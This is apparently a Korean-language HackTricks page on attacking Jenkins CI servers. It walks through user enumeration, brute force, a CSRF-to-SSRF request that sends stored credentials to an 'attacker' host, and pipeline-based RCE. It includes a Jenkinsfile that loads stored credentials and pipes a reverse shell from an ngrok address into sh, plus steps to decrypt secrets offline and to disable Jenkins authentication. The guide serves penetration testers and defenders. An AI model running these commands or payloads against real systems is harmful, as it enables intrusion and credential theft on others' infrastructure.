Jenkins 보안
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Jenkins는 파이프라인을 사용해 거의 모든 조합의 programming languages와 소스 코드 저장소에 대해 continuous integration 또는 continuous delivery (CI/CD) 환경을 간단하게 구축할 수 있는 도구입니다. 또한 다양한 반복적인 개발 작업을 자동화합니다. Jenkins가 개별 단계에 대한 스크립트 작성의 필요성을 없애지는 않지만, 빌드·테스트·배포 도구의 전체 흐름을 수동으로 구성하는 것보다 훨씬 빠르고 견고하게 통합할 수 있는 방법을 제공합니다.
인증되지 않은 열거
인증 없이 (/people 또는 /asynchPeople, 현재 사용자를 나열합니다) 같은 흥미로운 Jenkins 페이지를 찾으려면 다음을 사용할 수 있습니다:
msf> use auxiliary/scanner/http/jenkins_enum
인증 없이 명령을 실행할 수 있는지 확인하세요:
msf> use auxiliary/scanner/http/jenkins_command
자격증명 없이 /asynchPeople/ 경로 또는 _/securityRealm/user/admin/search/index?q=_에서 사용자 이름을 확인할 수 있습니다.
Jenkins 버전은 /oops 또는 /error 경로에서 확인할 수 있습니다.
.png)
알려진 취약점
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
로그인
기본 정보에서 Jenkins에 로그인할 수 있는 모든 방법을 확인할 수 있습니다:
등록
Jenkins 인스턴스 중에는 계정을 생성하고 내부에 로그인하는 것을 허용하는 것을 찾을 수 있습니다. 정말 단순합니다.
SSO 로그인
또한 SSO functionality/plugins가 존재하는 경우 테스트 계정(예: 테스트 Github/Bitbucket account)을 사용해 애플리케이션에 로그인해 보아야 합니다. Trick from here.
Bruteforce
Jenkins는 password policy와 username brute-force mitigation이 없습니다. 사용자에 대해 brute-force를 수행하는 것이 필수적입니다. weak passwords나 usernames as passwords가 사용 중일 수 있고, 심지어 reversed usernames as passwords가 사용될 수도 있습니다.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
다음 스크립트를 사용하세요: this python script 또는 this powershell script.
IP Whitelisting Bypass
많은 조직은 GitHub 또는 GitLab과 같은 SaaS-based source control management (SCM) systems을 Jenkins나 TeamCity 같은 internal, self-hosted CI 솔루션과 결합합니다. 이 구성은 CI 시스템이 주로 파이프라인 작업을 트리거하기 위해 receive webhook events from SaaS source control vendors 할 수 있도록 합니다.
이를 위해 조직은 whitelist하여 SCM platforms의 IP ranges를 허용하고, webhooks를 통해 internal CI system에 접근할 수 있도록 합니다. 그러나 anyone이 GitHub 또는 GitLab에 account를 생성하고 trigger a webhook로 구성해 internal CI system에 요청을 보낼 수 있다는 점을 주의해야 합니다.
Internal Jenkins Abuses
이러한 시나리오에서는 Jenkins에 접근할 수 있는 유효한 계정을 보유하고 있다고 가정합니다.
Warning
Jenkins에 구성된 Authorization 메커니즘과 침해된 사용자의 권한에 따라 다음 공격들을 수행할 수 있을 수도 있고 없을 수도 있습니다.
For more information check the basic information:
Listing users
Jenkins에 접근한 상태라면 http://127.0.0.1:8080/asynchPeople/에서 다른 등록된 사용자를 나열할 수 있습니다.
Dumping builds to find cleartext secrets
this script을 사용하여 build console outputs와 build environment variables를 덤프해 cleartext secrets를 찾아보세요.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
FormValidation/TestConnection 엔드포인트 (CSRF to SSRF/credential theft)
일부 플러그인은 Jelly의 validateButton 또는 test connection 핸들러를 /descriptorByName/<Class>/testConnection 같은 경로에 노출합니다. 핸들러가 POST나 권한 검사를 강제하지 않을 때, 다음을 할 수 있습니다:
- POST를 GET으로 바꾸고 Crumb를 제거해 CSRF 검사를 우회합니다.
Jenkins.ADMINISTER체크가 없다면 low-priv/anonymous로 핸들러를 트리거할 수 있습니다.- 관리자를 CSRF하고 host/URL parameter를 교체해 exfiltrate credentials하거나 outbound 호출을 트리거할 수 있습니다.
- 응답 에러(예:
ConnectException)를 SSRF/port-scan 오라클로 사용합니다.
예시 GET (Crumb 없음): validation 호출을 SSRF/credential exfiltration으로 전환:
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
Stealing SSH Credentials
만약 권한이 탈취된 사용자가 enough privileges to create/modify a new Jenkins node를 가지고 있고 SSH credentials가 다른 노드에 접근하기 위해 이미 저장되어 있다면, 노드를 생성/수정하고 setting a host that will record the credentials를 통해 호스트 키를 검증하지 않고 steal those credentials할 수 있습니다:
.png)
Jenkins SSH credentials는 보통 global provider (/credentials/)에서 찾을 수 있으므로, 다른 비밀을 덤프하듯이 해당 credentials도 덤프할 수 있습니다. 자세한 내용은 Dumping secrets section를 참고하세요.
RCE in Jenkins
Jenkins 서버에서 shell in the Jenkins server를 얻으면 공격자는 모든 secrets와 env variables를 leak하고 동일 네트워크에 있는 다른 시스템을 exploit other machines하거나 심지어 gather cloud credentials할 수 있는 기회를 갖게 됩니다.
기본적으로 Jenkins는 run as SYSTEM됩니다. 따라서 이를 탈취하면 공격자는 SYSTEM privileges를 획득합니다.
RCE Creating/Modifying a project
프로젝트를 생성/수정하는 것은 Jenkins 서버에서 RCE를 얻는 방법 중 하나입니다:
Jenkins RCE Creating/Modifying Project
RCE Execute Groovy script
Groovy 스크립트를 실행하여 RCE를 얻을 수도 있으며, 이는 새 프로젝트를 만드는 것보다 더 은밀할 수 있습니다:
Jenkins RCE with Groovy Script
RCE Creating/Modifying Pipeline
파이프라인을 생성/수정하여 RCE by creating/modifying a pipeline를 얻을 수도 있습니다:
Jenkins RCE Creating/Modifying Pipeline
Pipeline Exploitation
파이프라인을 exploit하려면 여전히 Jenkins에 대한 접근 권한이 필요합니다.
Build Pipelines
Pipelines는 프로젝트의 build mechanism in projects로도 사용될 수 있으며, 이 경우 리포지토리 내부의 file inside the repository에 pipeline 문법을 포함하도록 구성할 수 있습니다. 기본적으로 /Jenkinsfile이 사용됩니다:
.png)
파이프라인 구성 파일을 다른 곳(예: 다른 리포지토리)에 store pipeline configuration files in other places하여 리포지토리 접근(repository access)과 파이프라인 접근(pipeline access)을 separating할 수도 있습니다.
공격자가 해당 파일에 대한 write access over that file를 가지고 있다면, 이를 modify하고 Jenkins에 대한 접근 권한 없이도 파이프라인을 potentially trigger할 수 있습니다.\
플랫폼과 사용자 권한에 따라 공격자가 일부 bypass some branch protections를 해야 할 수도 있습니다(우회 가능 여부는 환경에 따라 다릅니다).
The most common triggers to execute a custom pipeline are:
- Pull request to the main branch (or potentially to other branches)
- Push to the main branch (or potentially to other branches)
- Update the main branch and wait until it’s executed somehow
Note
If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.
Pipeline RCE
In the previous RCE section it was already indicated a technique to get RCE modifying a pipeline.
Checking Env variables
파이프라인 전체 또는 특정 스테이지에 대해 clear text env variables를 선언할 수 있습니다. 이 env variables shouldn’t contain sensitive info이지만, 공격자는 언제든지 모든 파이프라인 구성/Jenkinsfiles를 check all the pipeline할 수 있습니다:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Dumping secrets
Jenkins에서 secrets가 일반적으로 어떻게 취급되는지에 대한 정보는 다음 기본 정보를 확인하세요:
Credentials는 scoped to global providers (/credentials/) 또는 specific projects (/job/<project-name>/configure)로 설정될 수 있습니다. 따라서, 모든 credentials를 exfiltrate하려면 secrets를 포함한 모든 프로젝트를 최소한으로 compromise하고 custom/poisoned pipelines를 실행해야 합니다.
또 다른 문제는, pipeline의 env 안의 secret을 얻기 위해서는 그 secret의 이름과 타입을 알아야 한다는 점입니다. 예를 들어, usernamePassword secret을 string secret으로 로드하려고 하면 다음과 같은 error가 발생합니다:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
여기 몇 가지 일반적인 secret 유형을 로드하는 방법이 있습니다:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
이 페이지 하단에서 모든 자격 증명 유형을 확인할 수 있습니다: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
dump all the secrets at once하는 가장 좋은 방법은 compromising Jenkins 머신(예: built-in node에서 reverse shell을 실행) 후 leaking master keys와 encrypted secrets를 획득하여 오프라인에서 decrypt하는 것입니다.
이 작업에 대한 자세한 내용은 Nodes & Agents section 및 Post Exploitation section을 참조하세요.
Triggers
From the docs: The triggers directive defines the automated ways in which the Pipeline should be re-triggered. For Pipelines which are integrated with a source such as GitHub or BitBucket, triggers may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are cron, pollSCM and upstream.
Cron example:
triggers { cron('H */4 * * 1-5') }
문서에서 다른 예제들도 확인하세요.
노드 및 에이전트
A Jenkins instance는 서로 다른 머신에서 실행되는 여러 에이전트를 가질 수 있습니다. 공격자 관점에서 서로 다른 머신에 대한 접근은 훔칠 수 있는 different potential cloud credentials나 다른 머신을 악용해 공격할 수 있는 different network access를 의미합니다.
자세한 내용은 기본 정보를 확인하세요:
구성된 노드는 /computer/에서 열거할 수 있으며, 보통 Jenkins를 실행하는 노드인 **Built-In Node**를 포함해 추가 노드를 찾을 수 있습니다:
.png)
민감한 Jenkins 정보를 포함하고 있기 때문에 특히 Built-In node를 탈취하는 것이 흥미롭습니다.
파이프라인 내에서 다음 설정을 지정하면 run the pipeline in the built-in Jenkins node하도록 할 수 있습니다:
pipeline {
agent {label 'built-in'}
완전한 예제
특정 agent에서 실행되는 Pipeline으로, cron trigger가 있고, pipeline 및 stage env variables를 사용하며, step에서 2개의 변수를 로드하고 reverse shell을 전송합니다:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Arbitrary File Read to RCE
Jenkins Arbitrary File Read to RCE via “Remember Me”
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Exploitation
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
권한이 충분하면 /credentials/에 접근해서 secrets를 나열할 수 있습니다. 이 작업은 credentials.xml 파일 내부의 secrets만 나열한다는 점을 유의하세요. 하지만 빌드 구성 파일에는 더 많은 credentials가 포함되어 있을 수 있습니다.
각 프로젝트의 구성을 볼 수 있다면, 거기에서 저장소에 접근하는 데 사용되는 credentials (secrets)의 이름과 프로젝트의 다른 credentials도 확인할 수 있습니다.
.png)
From Groovy
Jenkins Dumping Secrets from Groovy
디스크에서
다음 파일들은 Jenkins secrets를 복호화하는 데 필요합니다:
- secrets/master.key
- secrets/hudson.util.Secret
이런 secrets는 보통 다음 파일들에서 발견됩니다:
- credentials.xml
- jobs/…/build.xml
- jobs/…/config.xml
다음을 찾기 위한 regex:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Decrypt Jenkins secrets offline
만약 needed passwords to decrypt the secrets를 덤프했다면, this script to decrypt those secrets를 사용하세요.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Groovy에서 Jenkins secrets 복호화
println(hudson.util.Secret.decrypt("{...}"))
새 관리자 사용자 만들기
/var/lib/jenkins/config.xml또는C:\Program Files (x86)\Jenkis\에 있는 Jenkins의 config.xml 파일에 접근합니다.<useSecurity>true</useSecurity>항목을 찾아 단어 **true** 를false로 변경합니다.sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- Jenkins 서버를 재시작:
service jenkins restart - 이제 Jenkins 포털로 다시 이동하면 이번에는 Jenkins가 인증 정보를 요구하지 않습니다. “Manage Jenkins“로 이동하여 관리자 비밀번호를 다시 설정합니다.
- 설정을
<useSecurity>true</useSecurity>로 변경하여 보안을 다시 활성화하고 Jenkins를 다시 재시작합니다.
참고자료
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud

